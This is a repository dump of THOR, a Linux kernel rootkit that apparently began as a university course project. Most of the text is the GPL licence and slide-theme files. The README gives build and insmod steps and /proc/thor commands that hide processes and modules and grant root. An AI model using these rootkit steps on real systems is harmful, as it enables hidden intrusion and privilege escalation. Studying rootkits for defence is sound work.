├── .gitignore ├── LICENSE ├── README.md ├── doc ├── Makefile ├── beamercolorthemeQE.sty ├── beamerfontthemeQE.sty ├── beamerinnerthemeQE.sty ├── beamerouterthemeQE.sty ├── beamerthemeQE.sty ├── final.md ├── final.pdf ├── gfx │ ├── BackgroundDarkBlue.pdf │ ├── BackgroundLightBlue.pdf │ ├── bottomwave.pdf │ ├── dafuq.jpg │ ├── kernel.png │ ├── kernel_map.png │ ├── problems.jpg │ ├── qrcode.png │ ├── qsp.png │ ├── rootkit.jpg │ └── uibk_text.pdf ├── midterm.md ├── midterm.pdf └── tpl.tex ├── src ├── Makefile ├── config.h ├── filehider.c ├── filehider.h ├── helper.c ├── helper.h ├── hijack.c ├── hijack.h ├── logging.h ├── lsmodhider.c ├── lsmodhider.h ├── main.c ├── pidhider.c ├── pidhider.h ├── procfile.c ├── procfile.h ├── sockethider.c └── sockethider.h └── util ├── backdoor ├── Makefile ├── client.go ├── gen.go └── server.go └── getroot ├── Makefile └── main.c /.gitignore: -------------------------------------------------------------------------------- 1 | *.cmd 2 | *.ko 3 | *.mod.c 4 | *.o 5 | 6 | /src/.tmp_versions/ 7 | /src/Module.symvers 8 | /src/modules.order 9 | 10 | util/backdoor/client 11 | util/backdoor/client.crt 12 | util/backdoor/client.key 13 | util/backdoor/client.pem 14 | util/backdoor/server 15 | util/backdoor/server.crt 16 | util/backdoor/server.key 17 | util/backdoor/server.pem 18 | 19 | util/getroot/getroot 20 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | 676 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # THOR 2 | 3 | The Horrific Omnipotent Rootkit - or something like that, targeted at kernel 4 | 3.17 (archlinux LTS at the time of writing). 5 | 6 | ## Requirements 7 | 8 | Apart from the linux kernel headers, the linux source code is required in order 9 | to build this rootkit since unexported code is used. 10 | 11 | Just make sure `/usr/src/linux` points to the linux source directory of the 12 | target kernel. Or you could simply change the `Makefile`. 13 | 14 | ## How to Setup (Arch) 15 | 16 | # pacman -S abs linux-headers 17 | # abs 18 | # cd /var/abs/core/linux 19 | # makepkg -o --asroot 20 | # ln -s /var/abs/core/linux/src/linux-3.17 /usr/src/linux 21 | 22 | ## How to Build 23 | 24 | $ cd /path/to/thor 25 | $ make 26 | # insmod thor.ko 27 | 28 | ## How to Use 29 | 30 | usage: 31 | echo hp PID > /proc/thor (hides process PID) 32 | echo up PID > /proc/thor (unhides process PID) 33 | echo upa > /proc/thor (unhide all PIDs) 34 | echo hm MODULE > /proc/thor (hide module) 35 | echo um MODULE > /proc/thor (unhide module) 36 | echo uma > /proc/thor (unhide all modules) 37 | echo root > /proc/thor (gain root privileges) 38 | 39 | ## Authors 40 | 41 | - Franz-Josef Haider 42 | - Alex Hirsch 43 | 44 | ## Acknowledgement 45 | 46 | - [Arkadiusz "ivyl" Hiler](https://github.com/ivyl/rootkit) 47 | - [Michael "mncoppola" Coppola](https://github.com/mncoppola/suterusu) 48 | - [Morgan "mrrrgn" Phillips](https://github.com/mrrrgn/simple-rootkit) 49 | - [XieRan](https://github.com/nareix/tls-example) 50 | - [uzyszkodnik](https://github.com/uzyszkodnik/rootkit) 51 | -------------------------------------------------------------------------------- /doc/Makefile: -------------------------------------------------------------------------------- 1 | all: midterm.pdf final.pdf 2 | 3 | midterm.pdf: midterm.md 4 | pandoc $^ \ 5 | --standalone \ 6 | --to beamer \ 7 | --filter pandoc_exec \ 8 | --template tpl.tex \ 9 | --output $@ 10 | 11 | final.pdf: final.md 12 | pandoc $^ \ 13 | --standalone \ 14 | --to beamer \ 15 | --filter pandoc_exec \ 16 | --template tpl.tex \ 17 | --slide-level=2 \ 18 | --output $@ 19 | 20 | clean: 21 | rm -f midterm.pdf final.pdf 22 | -------------------------------------------------------------------------------- /doc/beamercolorthemeQE.sty: -------------------------------------------------------------------------------- 1 | % Copyright 2010 by Philipp Zech 2 | % 3 | % This file may be distributed and/or modified 4 | % 5 | % 1. under the LaTeX Project Public License and/or 6 | % 2. under the GNU Public License. 7 | 8 | \mode 9 | 10 | 11 | % ========================================================================= 12 | % A good guess on what the UA colors could be. 13 | % -- The website is unfortunately not to the point there. 14 | \definecolor{uablue}{RGB}{0,61,100} 15 | \colorlet{uablue100}{uablue} 16 | \colorlet{uablue75} {uablue!75!white} 17 | \colorlet{uablue50} {uablue!50!white} 18 | \colorlet{uablue25} {uablue!25!white} 19 | \colorlet{uablue10} {uablue!10!white} 20 | \colorlet{uablue5} {uablue!5!white} 21 | 22 | 